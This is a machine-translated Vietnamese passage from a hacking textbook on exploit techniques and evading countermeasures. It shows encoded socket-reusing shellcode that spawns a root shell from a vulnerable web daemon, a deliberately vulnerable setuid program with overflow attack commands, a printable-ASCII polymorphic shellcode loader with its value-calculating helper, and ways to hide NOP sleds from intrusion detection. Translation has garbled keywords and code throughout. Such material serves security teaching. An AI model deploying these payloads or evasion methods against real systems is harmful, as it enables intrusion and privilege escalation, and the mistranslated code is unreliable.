0x6e69622f + 0x05050505 $2 = 0x736e6734 (gdb)
thoát
reader@hacking:~/booksrc $
Biện pháp đối phó 359
Machine Translated by Google
Shellcode sau đây đẩy các byte được mã hóa này vào ngăn xếp và sau đó giải
mã chúng trong một vòng lặp. Ngoài ra, hai lệnh int3 được sử dụng để đặt điểm
dừng trong shellcode trước và sau khi giải mã. Đây là một cách dễ dàng để xem
những gì đang diễn ra với GDB.
mã hóa_sockreuserestore_dbg.s
BIT 32
; Fork là syscall #2.
đẩy BYTE 0x02 pop
eax int
0x80
; Sau khi phân nhánh, trong tiến trình con eax == 0.
kiểm tra eax,
eax jz child_process ; Trong tiến trình con, một shell sẽ được sinh ra.
; Trong tiến trình cha, khôi phục tinywebd. lea ebp, [esp+0x68] ;
Khôi phục EBP. push 0x08048fb7 ; Trả về địa chỉ.
ret ; Trả về
child_process: ;
Sử dụng lại socket hiện có. lea
edx, [esp+0x5c] ; Đặt địa chỉ của new_sockfd vào edx. mov ebx, [edx]
; Đặt giá trị của new_sockfd vào ebx. push BYTE
0x02 pop ecx xor
eax, eax
; ecx bắt đầu từ 2.
dup_loop: mov
BYTE al,
0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0)
dec ecx
; Đếm ngược đến 0.
jns dup_loop
; Nếu cờ dấu không được thiết lập, ecx không phải là số âm.
; execve(const char *tên tệp, char *const argv [], char *const envp [])
mov BYTE al, 11 ; execve syscall #11 push
0x056d7834 ; đẩy "/sh\x00" được mã hóa +5 vào ngăn xếp. push 0x736e6734 ;
đẩy "/bin" được mã hóa +5 vào ngăn xếp. mov ebx, esp ; Đặt địa chỉ của "/
bin/sh" được mã hóa vào ebx.
int3 ; Điểm dừng trước khi giải mã (XÓA KHI KHÔNG GỠ LỖI)
đẩy BYTE 0x8 pop
; Cần giải mã 8 byte
edx giải
mã_vòng lặp: sub
BYTE [ebx+edx], 0x5 dec edx
vòng lặp giải mã jns
int3 ; Điểm dừng sau khi giải mã (XÓA KHI KHÔNG GỠ LỖI)
xor edx, edx
360 0x600
đẩy edx
; đẩy ký tự kết thúc null 32 bit vào ngăn xếp.
mov edx, esp
; Đây là một mảng trống cho envp.
Machine Translated by Google
đẩy ebx mov
; đẩy địa chỉ chuỗi vào ngăn xếp phía trên ký tự kết thúc null.
ecx, esp int 0x80
; Đây là mảng argv với chuỗi ptr. ; execve("/bin//
sh", ["/bin//sh", NULL], [NULL])
Vòng giải mã sử dụng thanh ghi EDX làm bộ đếm. Nó bắt đầu từ 8 và đếm ngược đến
0, vì cần giải mã 8 byte. Địa chỉ ngăn xếp chính xác không quan trọng trong trường hợp
này vì các phần quan trọng đều được định địa chỉ tương đối, do đó đầu ra bên dưới không
cần phải đính kèm vào quy trình tinywebd hiện có.
reader@hacking:~/booksrc $ gcc -g tinywebd.c
reader@hacking:~/booksrc $ sudo gdb -q ./a.out
cảnh báo: không sử dụng tệp không đáng tin cậy "/home/reader/.gdbinit"
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) thiết lập disassembly-flavor intel
(gdb) thiết lập chế độ theo dõi con
(gdb) chạy
Khởi động chương trình: /home/reader/booksrc/a.out Khởi
động chương trình nền web nhỏ.
Vì breakpoint thực sự là một phần của shellcode, nên không cần phải thiết lập một
breakpoint từ GDB. Từ một terminal khác, shellcode được lắp ráp và sử dụng với công cụ
khai thác socket-reusing.
Từ một nhà ga khác
người đọc@hacking:~/booksrc $ nasm mã hóa_sockreuserestore_dbg.s người
đọc@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh mã hóa_socketreuserestore_dbg 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: encoded_sockreuserestore_dbg (72 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả mạo 15] [IP giả mạo 16] [NOP 313] [shellcode 72] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) mở
Quay trở lại cửa sổ GDB, lệnh int3 đầu tiên trong shellcode được nhấn.
Từ đây, chúng ta có thể xác minh rằng chuỗi được giải mã đúng.
Chương trình nhận được tín hiệu SIGTRAP, Trace/breakpoint trap.
[Chuyển sang tiến trình 12400]
0xbffff6ab trong ?? ()
(gdb) x/10i $eip
0xbffff6ab: đẩy 0x8
0xbffff6ad: edx
pop
0xbffff6ae: sub BYTE PTR [ebx+edx],0x5
0xbffff6b2: dec edx
0xbffff6b3:
jns
0xbffff6b5
int3
0xbffff6b6:
xor
0xbffff6b8:
đẩy edx
0xbffff6b9:
0xbffff6bb:
di chuyển
0xbffff6ae
edx, edx
edx, đặc biệt
đẩy ebx
(gdb) x/8c $ebx
Biện pháp đối phó 361
Machine Translated by Google
0xbffff738:
52 '4' 103 'g' 110 'n' 115 's' 52 '4' 120 'x' 109 'm' 5 '\005'
(gdb) tiếp theo
Tiếp tục.
[tcsetpgrp không thành công trong terminal_inferior: Hoạt động không được phép]
Chương trình nhận được tín hiệu SIGTRAP, Trace/breakpoint trap.
0xbffff6b6 trong ?? ()
(gdb) x/8c $ebx
0xbffff738: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\0'
(gdb) x/giây $ebx
0xbffff738:
"/thùng/sh"
(gdb)
Bây giờ giải mã đã được xác minh, các lệnh int3 có thể được xóa khỏi
shellcode. Đầu ra sau đây cho thấy shellcode cuối cùng đang được sử dụng.
reader@hacking:~/booksrc $ sed -e 's/int3/;int3/g' được mã hóa_sockreuserestore_dbg.s > được mã
hóa_sockreuserestore.s
reader@hacking:~/booksrc $ diff được mã hóa_sockreuserestore_dbg.s được mã hóa_sockreuserestore.s 33c33
< int3 ; Điểm dừng trước khi giải mã (XÓA KHI KHÔNG GỠ LỖI)
> ;int3 ; Điểm dừng trước khi giải mã (XÓA KHI KHÔNG GỠ LỖI)
42c42
< int3 ; Điểm dừng sau khi giải mã (XÓA KHI KHÔNG GỠ LỖI)
> ;int3 ; Điểm dừng sau khi giải mã (XÓA KHI KHÔNG GỠ LỖI)
reader@hacking:~/booksrc $ nasm mã hóa_sockreuserestore.s reader@hacking:~/
booksrc $ hexdump -C mã hóa_sockreuserestore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |jX...t..l$hh..|
00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f |....T$\..j.Y1..?|
00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e |..Iy...h4xm.h4gn|
00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 |s..jZ,..Jy.1.R|
00000040 89 e2 53 89 e1 cd 80 00000047
|..S....|
người đọc@hacking:~/booksrc $ ./tinywebd
Bắt đầu tiến trình web nhỏ..
người đọc@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh mã hóa_sockreuserestore 127.0.0.1
IP mục tiêu: 127.0.0.1
shellcode: encoded_sockreuserestore (71 byte)
yêu cầu giả mạo: "GET / HTTP/1.1\x00" (15 byte)
[Yêu cầu giả mạo 15] [IP giả mạo 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8]
localhost [127.0.0.1] 80 (www) mở
ai đó
gốc rễ
0x682 Cách giấu xe trượt tuyết
NOP là một dấu hiệu khác dễ bị phát hiện bởi các IDS và IPS mạng.
Các khối lớn 0x90 không phổ biến lắm, vì vậy nếu một cơ chế bảo mật mạng
nhìn thấy thứ gì đó như thế này, thì có thể đó là một khai thác. Để tránh
chữ ký này, chúng ta có thể sử dụng các lệnh một byte khác nhau thay vì
NOP. Có một số lệnh một byte—lệnh tăng và lệnh giảm cho nhiều thanh ghi khác
nhau—cũng là các ký tự ASCII có thể in được.
362 0x600
Machine Translated by Google
Hướng dẫn Hex
Mã ASCII
tăng thêm
0x40 @
bao gồm ebx
0x43C
bao gồm ecx
0x41 Một
bao gồm edx
0x42
dec eax
B
0x48
H
tháng mười hai ebx
0x4B
K
tháng mười ecx
0x49
tháng mười hai edx
0x4A
TÔI
J
Vì chúng ta xóa các thanh ghi này về 0 trước khi sử dụng chúng, nên chúng ta có thể sử dụng một
cách an toàn một tổ hợp ngẫu nhiên các byte này cho NOP sled. Việc tạo một công cụ khai thác mới sử dụng
các tổ hợp ngẫu nhiên các byte @, C, A, B, H, K, I và J thay vì NOP sled thông thường sẽ được để lại như
một bài tập cho người đọc. Cách dễ nhất để thực hiện điều này là viết một chương trình tạo sled bằng C,
được sử dụng với một tập lệnh BASH. Sửa đổi này sẽ ẩn bộ đệm khai thác khỏi các IDS tìm kiếm NOP sled.
0x690 Giới hạn bộ đệm
Đôi khi một chương trình sẽ đặt một số hạn chế nhất định vào bộ đệm. Kiểu kiểm tra tính hợp lệ của dữ
liệu này có thể ngăn ngừa nhiều lỗ hổng. Hãy xem xét chương trình ví dụ sau, được sử dụng để cập nhật mô
tả sản phẩm trong cơ sở dữ liệu giả định. Đối số đầu tiên là mã sản phẩm và đối số thứ hai là mô tả đã
cập nhật. Chương trình này không thực sự cập nhật cơ sở dữ liệu, nhưng nó có một lỗ hổng rõ ràng
trong đó.
cập nhật_thông_tin.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
#define MAX_ID_LEN 40
#define MAX_DESC_LEN 500
/* Nôn ra một thông điệp và thoát. */
void barf(char *message, void *extra) {
printf(tin nhắn, thêm);
thoát(1);
}
/* Giả sử hàm này cập nhật mô tả sản phẩm trong cơ sở dữ liệu. */
void update_product_description(char *id, char *desc)
{
char product_code[5], description[MAX_DESC_LEN];
printf("[DEBUG]: mô tả ở %p\n", mô tả);
Biện pháp đối phó 363
Machine Translated by Google
strncpy(mô tả, desc, MAX_DESC_LEN);
strcpy(mã_sản_phẩm, id);
printf("Đang cập nhật sản phẩm #%s với mô tả \'%s\'\n", mã_sản_phẩm, mô tả);
// Cập nhật cơ sở dữ liệu
}
int main(int argc, char *argv[], char *envp[]) {
int i;
char *id, *desc;
if(argc < 2)
barf("Sử dụng: %s <id> <description>\n", argv[0]); id =
argv[1]; // id - Mã sản phẩm cần cập nhật trong DB desc =
argv[2]; // desc - Mô tả mục cần cập nhật
if(strlen(id) > MAX_ID_LEN) // id phải nhỏ hơn MAX_ID_LEN byte.
barf("Nguy hiểm: đối số id phải nhỏ hơn %u byte\n", (void *)MAX_ID_LEN);
for(i=0; i < strlen(desc)-1; i++) { // Chỉ cho phép các byte có thể in được trong desc.
if(!(isprint(desc[i])))
barf("Nguy hiểm: đối số mô tả chỉ có thể chứa các byte có thể in được\n", NULL);
}
// Xóa bộ nhớ ngăn xếp (bảo mật)
// Xóa tất cả các đối số ngoại trừ đối số đầu tiên và thứ hai
memset(argv[0], 0, strlen(argv[0]));
for(i=3; argv[i] != 0; i++)
memset(argv[i], 0, strlen(argv[i])); //
Xóa tất cả các biến môi trường for(i=0;
envp[i] != 0; i++) memset(envp[i],
0, strlen(envp[i]));
printf("[DEBUG]: desc ở %p\n", desc);
update_product_description(id, desc); // Cập nhật cơ sở dữ liệu. }
Mặc dù có lỗ hổng, nhưng mã này vẫn cố gắng tăng cường bảo mật.
Độ dài của đối số ID sản phẩm bị hạn chế và nội dung của đối số mô tả bị
giới hạn ở các ký tự có thể in được. Ngoài ra, các biến môi trường và đối
số chương trình không sử dụng được xóa vì lý do bảo mật. Đối số đầu tiên (id)
quá nhỏ đối với shellcode và vì phần còn lại của bộ nhớ ngăn xếp đã bị xóa
nên chỉ còn lại một vị trí.
364 0x600
Machine Translated by Google
reader@hacking:~/booksrc $ gcc -o update_info update_info.c
reader@hacking:~/booksrc $ sudo chown root ./update_info
người đọc@hacking:~/booksrc $ sudo chmod u+s ./update_info
reader@hacking:~/booksrc $ ./update_info Cách
sử dụng: ./update_info <id> <description>
reader@hacking:~/booksrc $ ./update_info OCP209 "Người máy thực thi"
[DEBUG]: mô tả ở 0xbffff650
Đang cập nhật sản phẩm #OCP209 với mô tả 'Enforcement Droid'
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') blah
[DEBUG]: mô tả ở 0xbffff650
Lỗi phân đoạn
người đọc@hacking:~/booksrc $ ./update_info $(perl -e 'print "\xf2\xf9\xff\xbf"x10') $(cat ./
shellcode.bin)
Fatal: đối số mô tả chỉ có thể chứa các byte có thể in được
người đọc@hacking:~/booksrc $
Đầu ra này cho thấy một cách sử dụng mẫu và sau đó cố gắng khai thác lệnh gọi
strcpy() dễ bị tấn công . Mặc dù địa chỉ trả về có thể được ghi đè bằng đối số đầu
tiên (id), nhưng nơi duy nhất chúng ta có thể đặt shellcode là ở đối số thứ hai (desc).
Tuy nhiên, bộ đệm này được kiểm tra các byte không thể in được. Đầu ra gỡ lỗi bên dưới
xác nhận rằng chương trình này có thể bị khai thác, nếu có cách để đặt shellcode vào
đối số mô tả.
người đọc@hacking:~/booksrc $ gdb -q ./update_info
Sử dụng thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) chạy $(perl -e 'print "\xcb\xf9\xff\xbf"x10') blah
Chương trình đang được gỡ lỗi đã được bắt đầu.
Bắt đầu từ đầu? (y hoặc n) y
Bắt đầu chương trình: /home/reader/booksrc/update_info $(perl -e 'print "\xcb\xf9\xff\xbf"x10') blah
[DEBUG]: desc ở 0xbffff9cb
Đang cập nhật số sản phẩm với mô tả 'blah'
Chương trình nhận được tín hiệu SIGSEGV, Lỗi phân đoạn.
0xbffff9cb trong ?? ()
(gdb) ir eip
eip
0xbffff9cb
0xbffff9cb
(gdb) x/giây $eip
0xbffff9cb:
"chán ngắt"
(gdb)
Xác thực đầu vào có thể in được là cách duy nhất ngăn chặn tình trạng khai thác.
Giống như an ninh sân bay, vòng lặp xác thực đầu vào này sẽ kiểm tra mọi thứ đi vào.
Mặc dù không thể tránh được cuộc kiểm tra này, nhưng vẫn có cách để tuồn dữ liệu bất
hợp pháp qua mặt lính canh.
Biện pháp đối phó 365
Machine Translated by Google
0x691 Mã ASCII đa hình có thể in được
Shellcode đa hình đề cập đến bất kỳ shellcode nào tự thay đổi. Shellcode mã hóa từ
phần trước về mặt kỹ thuật là đa hình, vì nó sửa đổi chuỗi mà nó sử dụng trong khi
đang chạy. NOP sled mới sử dụng các lệnh được lắp ráp thành các byte ASCII có thể
in được. Có những lệnh khác nằm trong phạm vi có thể in được này (từ 0x33 đến 0x7e);
tuy nhiên, tổng số lệnh thực sự khá nhỏ.
Mục tiêu là viết shellcode vượt qua được kiểm tra ký tự có thể in. Việc cố gắng
viết shellcode phức tạp với một tập lệnh hạn chế như vậy chỉ đơn giản là tự hành hạ
mình, vì vậy thay vào đó, shellcode có thể in sẽ sử dụng các phương pháp đơn giản để
xây dựng shellcode phức tạp hơn trên ngăn xếp. Theo cách này, shellcode có thể in
thực sự sẽ là các lệnh để tạo shellcode thực.
Bước đầu tiên là tìm ra cách để đưa các thanh ghi về 0. Thật không may, lệnh XOR
trên các thanh ghi khác nhau không lắp ráp thành phạm vi ký tự ASCII có thể in
được. Một tùy chọn là sử dụng phép toán bit AND, phép toán này lắp ráp thành ký tự
phần trăm (%) khi sử dụng thanh ghi EAX. Lệnh lắp ráp của và eax, 0x41414141 sẽ lắp
ráp thành mã máy có thể in được là %AAAA, vì 0x41 trong hệ thập lục phân là ký tự
có thể in được A.
Phép toán AND chuyển đổi các bit như sau:
1 và 1 = 1
0 và 0 = 0
1 và 0 = 0
0 và 1 = 0
Vì trường hợp duy nhất mà kết quả là 1 là khi cả hai bit đều là 1, nếu hai
các giá trị nghịch đảo được AND vào EAX, EAX sẽ bằng 0.
Hệ thập lục phân
nhị phân
1000101010011100100111101001010
0x454e4f4a
VÀ 0111010001100010011000000110101 VÀ 0x3a313035
------------------------------------ -------------- -
00000000000000000000000000000000
0x00000000
Do đó, bằng cách sử dụng hai giá trị 32 bit có thể in được, là các bit nghịch
đảo của nhau, thanh ghi EAX có thể được đặt về 0 mà không cần sử dụng bất kỳ byte
null nào và mã máy được lắp ráp kết quả sẽ là văn bản có thể in được.
và eax, 0x454e4f4a ; Lắp ráp thành %JONE
và eax, 0x3a313035 ; Lắp ráp thành %501:
Vì vậy, %JONE%501: trong mã máy sẽ xóa sổ đăng ký EAX. Thật thú vị.
Một số hướng dẫn khác được biên soạn thành các ký tự ASCII có thể in được hiển thị trong hộp bên dưới.
sub eax, 0x41414141 đẩy eax
-AAAA
pop eax đẩy
P
esp pop
X
esp
T
\
366 0x600
Machine Translated by Google
Thật đáng kinh ngạc, những lệnh này, kết hợp với lệnh AND eax , đủ để xây dựng
mã nạp sẽ đưa shellcode vào ngăn xếp và sau đó thực thi nó. Kỹ thuật chung là, trước
tiên, đặt ESP trở lại đằng sau mã nạp đang thực thi (ở địa chỉ bộ nhớ cao hơn), sau
đó xây dựng shellcode từ đầu đến cuối bằng cách đẩy các giá trị vào ngăn xếp, như
được hiển thị ở đây.
Vì ngăn xếp tăng lên (từ địa chỉ bộ nhớ cao hơn đến địa chỉ bộ nhớ thấp hơn
địa chỉ), ESP sẽ di chuyển ngược lại khi các giá trị được đẩy vào ngăn xếp và EIP
sẽ di chuyển về phía trước khi mã tải thực thi. Cuối cùng, EIP và ESP sẽ gặp
nhau và EIP sẽ tiếp tục thực thi vào shellcode mới được xây dựng.
1)
Mã nạp
EIP
Tiếng Việt
2)
Mã nạp
Mã vỏ
EIP
Tiếng Việt
3)
Mã nạp
Shellcode đang được xây dựng
EIP
Tiếng Việt
ôi
Đầu tiên, ESP phải được đặt sau shellcode bộ nạp có thể in được. Một chút gỡ
lỗi với GDB cho thấy sau khi giành được quyền kiểm soát thực thi chương trình, ESP
cách 555 byte trước khi bắt đầu bộ đệm tràn (sẽ chứa mã bộ nạp). Thanh ghi ESP phải
được di chuyển sao cho nó nằm sau mã bộ nạp, trong khi vẫn để lại chỗ cho shellcode
mới và cho chính shellcode bộ nạp. Khoảng 300 byte là đủ chỗ cho việc này, vì vậy
hãy thêm 860 byte vào ESP để đặt nó cách 305 byte sau khi bắt đầu mã bộ nạp. Giá trị
này không cần phải chính xác, vì các điều khoản sẽ được thực hiện sau để cho phép
một số slop.
Vì lệnh duy nhất có thể sử dụng được là phép trừ, phép cộng có thể được mô phỏng
bằng cách trừ một lượng lớn từ thanh ghi mà nó bao quanh. Thanh ghi chỉ có 32 bit
không gian, do đó, việc thêm 860 vào một thanh ghi cũng giống như trừ 860 từ 232,
hoặc 4.294.966.436. Tuy nhiên, phép trừ này chỉ được sử dụng các giá trị có thể in
được, do đó chúng tôi chia nó thành ba lệnh, tất cả đều sử dụng toán hạng có thể in được.
sub eax, 0x39393333 ; Lắp ráp thành -3399 sub
eax, 0x72727550 ; Lắp ráp thành -Purr
sub eax, 0x54545421 ; Lắp ráp thành -!TTT
Theo như kết quả đầu ra của GDB xác nhận, việc trừ ba giá trị này khỏi một số
32 bit cũng giống như việc cộng 860 vào số đó.
Biện pháp đối phó 367
Machine Translated by Google
người đọc@hacking:~/booksrc $ gdb -q
(gdb) in 0 - 0x39393333 - 0x72727550 - 0x54545421
1 = 860
(gdb)
Mục tiêu là trừ các giá trị này khỏi ESP, không phải EAX, nhưng lệnh sub esp không lắp ráp thành ký
tự ASCII có thể in được. Vì vậy, giá trị hiện tại của ESP phải được chuyển vào EAX để trừ, sau đó giá trị
mới của EAX phải được chuyển trở lại ESP.
Tuy nhiên, vì cả mov esp, eax và mov eax, esp đều không lắp ráp thành các ký
tự ASCII có thể in được, nên việc trao đổi này phải được thực hiện bằng cách sử dụng
ngăn xếp. Bằng cách đẩy giá trị từ thanh ghi nguồn vào ngăn xếp và sau đó đẩy nó ra
khỏi thanh ghi đích, tương đương với lệnh mov dest, source có thể được thực hiện bằng
lệnh push source và pop dest. May mắn thay, các lệnh pop và push cho cả thanh ghi EAX
và ESP lắp ráp thành các ký tự ASCII có thể in được, vì vậy tất cả những điều này có
thể được thực hiện bằng cách sử dụng ASCII có thể in được.
Sau đây là hướng dẫn cuối cùng để thêm 860 vào ESP.
đẩy esp pop
; Lắp ráp thành T
eax
; Lắp ráp thành X
sub eax, 0x39393333 ; Lắp ráp thành -3399 sub
eax, 0x72727550 ; Lắp ráp thành -Purr
sub eax, 0x54545421 ; Lắp ráp thành -!TTT
đẩy eax pop
; Lắp ráp thành P
esp
; Lắp ráp thành \
Điều này có nghĩa là TX-3399-Purr-!TTT-P\ sẽ thêm 860 vào ESP trong mã máy. Cho đến giờ thì
ổn. Bây giờ shellcode phải được xây dựng.
Đầu tiên, EAX phải được đặt về 0; giờ đây việc này dễ dàng vì đã phát hiện ra một phương pháp.
Sau đó, bằng cách sử dụng nhiều lệnh phụ hơn , thanh ghi EAX phải được đặt thành bốn byte cuối cùng của
shellcode, theo thứ tự ngược lại. Vì ngăn xếp thường phát triển theo hướng lên trên (hướng tới các địa
chỉ bộ nhớ thấp hơn) và xây dựng theo thứ tự FILO, nên giá trị đầu tiên được đẩy vào ngăn xếp phải là
bốn byte cuối cùng của shellcode. Các byte này phải theo thứ tự ngược lại, do thứ tự byte little-endian.
Đầu ra sau đây hiển thị bản dump thập lục phân của shellcode chuẩn được sử dụng trong các chương trước,
sẽ được xây dựng bằng mã tải có thể in được.
người đọc@hacking:~/booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 đĩa 80
|...|
Trong trường hợp này, bốn byte cuối cùng được hiển thị bằng chữ in đậm; giá trị thích hợp cho thanh
ghi EAX là 0x80cde189. Điều này dễ thực hiện bằng cách sử dụng các lệnh phụ để bao bọc giá trị xung
quanh. Sau đó, EAX có thể được đẩy vào ngăn xếp. Thao tác này di chuyển
368 0x600
Machine Translated by Google
ESP lên (hướng tới các địa chỉ bộ nhớ thấp hơn) đến cuối giá trị mới được
đẩy, sẵn sàng cho bốn byte tiếp theo của shellcode (hiển thị in nghiêng trong
shellcode trước đó). Nhiều lệnh phụ hơn được sử dụng để bao bọc EAX xung
quanh 0x53e28951 và sau đó giá trị này được đẩy vào ngăn xếp. Khi quá
trình này được lặp lại cho mỗi khối bốn byte, shellcode được xây dựng từ
đầu đến cuối, hướng tới mã tải đang thực thi.
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 đĩa 80
|...|
Cuối cùng, phần đầu của shellcode đã đạt đến, nhưng chỉ còn lại ba byte
(được hiển thị in nghiêng trong shellcode trước đó) sau khi đẩy 0x99c931db
vào ngăn xếp. Tình huống này được khắc phục bằng cách chèn một lệnh NOP
một byte vào phần đầu của mã, dẫn đến giá trị 0x31c03190 được đẩy vào ngăn
xếp—0x90 là mã máy cho NOP.
Mỗi khối bốn byte của shellcode gốc này được tạo ra bằng phương pháp
trừ có thể in được đã sử dụng trước đó. Mã nguồn sau đây là một chương trình
giúp tính toán các giá trị có thể in được cần thiết.
printable_helper.c
#include <stdio.h>
#include <sys/stat.h>
#include <ctype.h>
#include <thời gian.h>
#include <stdlib.h>
#include <chuỗi.h>
#define CHR "%_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-"
int main(int argc, char* argv[])
{
int không dấu targ, cuối cùng, t[4], l[4];
int không dấu thử, đơn, nhớ=0;
int len, a, i, j, k, m, z, cờ = 0;
từ ký tự[3][4];
char mem không dấu[70];
nếu(argc < 2) {
printf("Cách sử dụng: %s <giá trị bắt đầu EAX> <giá trị kết thúc EAX>\n", argv[0]);
thoát(1);
}
srand(thời gian(NULL));
bzero(bộ nhớ, 70);
strcpy(bộ nhớ, CHR);
len = strlen(bộ nhớ);
strfry(mem); // Ngẫu nhiên hóa
cuối cùng = strtoul(argv[1], NULL, 0);
targ = strtoul(argv[2], NULL, 0);
Biện pháp đối phó 369
Machine Translated by Google
printf("tính toán các giá trị có thể in được để trừ khỏi EAX..\n\n"); t[3]
= (targ & 0xff000000)>>24; // Chia theo byte t[2] = (targ &
0x00ff0000)>>16; t[1] = (targ &
0x0000ff00)>>8; t[0] = (targ &
0x000000ff); l[3] = (last &
0xff000000)>>24; l[2] = (last &
0x00ff0000)>>16; l[1] = (last &
0x0000ff00)>>8; l[0] = (last &
0x000000ff);
for(a=1; a < 5; a++) { // Đếm giá trị
mang theo = cờ =
0; for(z=0; z < 4; z++) { // Đếm byte
for(i=0; i < len; i++) {
đối với (j = 0; j < len; j++) {
đối với (k = 0; k < len; k++)
{ đối với (m = 0; m < len; m+
+) {
nếu(a < 2) j = len+1;
nếu(a < 3) k = len+1;
nếu(a < 4) m = len+1;
thử = t[z] + nhớ+nhớ[i]+nhớ[j]+nhớ[k]+nhớ[m]; đơn =
(thử & 0x000000ff); nếu(đơn ==
l[z]) {
mang = (thử & 0x0000ff00)>>8;
nếu(i < len) word[0][z] = mem[i];
nếu(j < len) word[1][z] = mem[j];
nếu(k < len) word[2][z] = mem[k];
nếu(m < len) word[3][z] = mem[m]; i
= j = k = m = len+2;
flag++;
}
}
}
}
}
} if(flag == 4) { // Nếu tìm thấy cả 4 byte
printf("start: 0x%08x\n\n", last);
for(i=0; i < a; i++)
printf(" - 0x%08x\n", *((unsigned int *)word[i]));
printf("-------------------\n");
printf("end: 0x%08x\n", targ);
thoát(0);
}
}
Khi chương trình này chạy, nó mong đợi hai đối số—giá trị bắt đầu và kết
thúc cho EAX. Đối với shellcode trình tải có thể in, EAX được đặt về 0 để
bắt đầu và giá trị kết thúc phải là 0x80cde189. Giá trị này tương ứng với
bốn byte cuối cùng từ shellcode.bin.
370 0x600
Machine Translated by Google
reader@hacking:~/booksrc $ gcc -o printable_helper printable_helper.c
reader@hacking:~/booksrc $ ./printable_helper 0 0x80cde189
tính toán các giá trị có thể in được để trừ khỏi EAX..
bắt đầu: 0x00000000
- 0x346d6d25
- 0x256d6d25
- 0x2557442d
------------------kết thúc: 0x80cde189
người đọc@hacking:~/booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 đĩa 80
|...|
00000023
người đọc@hacking:~/booksrc $ ./printable_helper 0x80cde189 0x53e28951
tính toán các giá trị có thể in được để trừ khỏi EAX..
bắt đầu: 0x80cde189
- 0x59316659
- 0x59667766
- 0x7a537a79
------------------kết thúc: 0x53e28951
người đọc@hacking:~/booksrc $
Đầu ra ở trên cho thấy các giá trị có thể in được cần thiết để bao bọc giá trị bằng 0
Đăng ký EAX xung quanh 0x80cde189 (hiển thị in đậm). Tiếp theo, EAX sẽ được bao quanh
lại đến 0x53e28951 cho bốn byte tiếp theo của shellcode (xây dựng ngược). Quá trình này
được lặp lại cho đến khi tất cả shellcode được xây dựng.
Mã cho toàn bộ quá trình được hiển thị bên dưới.
có thể in được
BIT 32
đẩy esp pop
; Đặt ESP hiện tại
eax sub
; vào EAX.
eax,0x39393333 sub
; Trừ các giá trị có thể in
eax,0x72727550 sub
được ; để thêm 860 vào EAX.
eax,0x54545421
đẩy eax pop
; Đưa EAX trở lại ESP.
esp và
; Hiệu quả ESP = ESP + 860
eax,0x454e4f4a
và eax,0x3a313035
; Đặt EAX về 0.
sub eax, 0x346d6d25
; Trừ các giá trị có thể in
sub eax, 0x256d6d25
được ; để làm cho EAX =
sub eax, 0x2557442d
0x80cde189. ; (4 byte cuối cùng từ shellcode.bin)
đẩy eax
; Đẩy các byte này vào ngăn xếp tại ESP.
sub eax, 0x59316659
; Trừ đi nhiều giá trị có thể in được
sub eax, 0x59667766
; để làm cho EAX = 0x53e28951. ;
sub eax, 0x7a537a79
(4 byte tiếp theo của shellcode từ cuối)
Biện pháp đối phó 371
Machine Translated by Google
đẩy eax
sub eax, 0x25696969
sub eax, 0x25786b5a
sub eax, 0x25774625
đẩy eax
; EAX = 0xe3896e69
sub eax, 0x366e5858
sub eax, 0x25773939
sub eax, 0x25747470
đẩy eax
; EAX = 0x622f6868
sub eax, 0x25257725
sub eax, 0x71717171
sub eax, 0x5869506a
đẩy eax
; EAX = 0x732f2f68
sub eax, 0x63636363
sub eax, 0x44307744
sub eax, 0x7a434957
đẩy eax
; EAX = 0x51580b6a
sub eax, 0x63363663
sub eax, 0x6d543057
đẩy eax
; EAX = 0x80cda4b0
sub eax, 0x54545454
sub eax, 0x304e4e25
sub eax, 0x32346f25
sub eax, 0x302d6137
đẩy eax
; EAX = 0x99c931db
sub eax, 0x78474778
sub eax, 0x78727272
sub eax, 0x774f4661
đẩy eax
; EAX = 0x31c03190
sub eax, 0x41704170
sub eax, 0x2d772d4e
sub eax, 0x32483242
đẩy eax ...
; EAX = 0x90909090
; Xây dựng một chiếc xe trượt tuyết NOP.
372 0x600
Machine Translated by Google
Cuối cùng, shellcode đã được xây dựng ở đâu đó sau mã loader, rất có thể để lại một khoảng trống
giữa shellcode mới xây dựng và mã loader đang thực thi. Khoảng trống này có thể được thu hẹp bằng cách
xây dựng một NOP sled giữa mã loader và shellcode.
Một lần nữa, các lệnh phụ được sử dụng để đặt EAX thành 0x90909090 và EAX được đẩy liên tục
vào ngăn xếp. Với mỗi lệnh đẩy , bốn lệnh NOP được gắn vào đầu shellcode. Cuối cùng, các lệnh NOP này sẽ
được xây dựng ngay trên các lệnh đẩy đang thực thi của mã trình tải, cho phép EIP và thực thi chương
trình chảy qua sled vào shellcode.
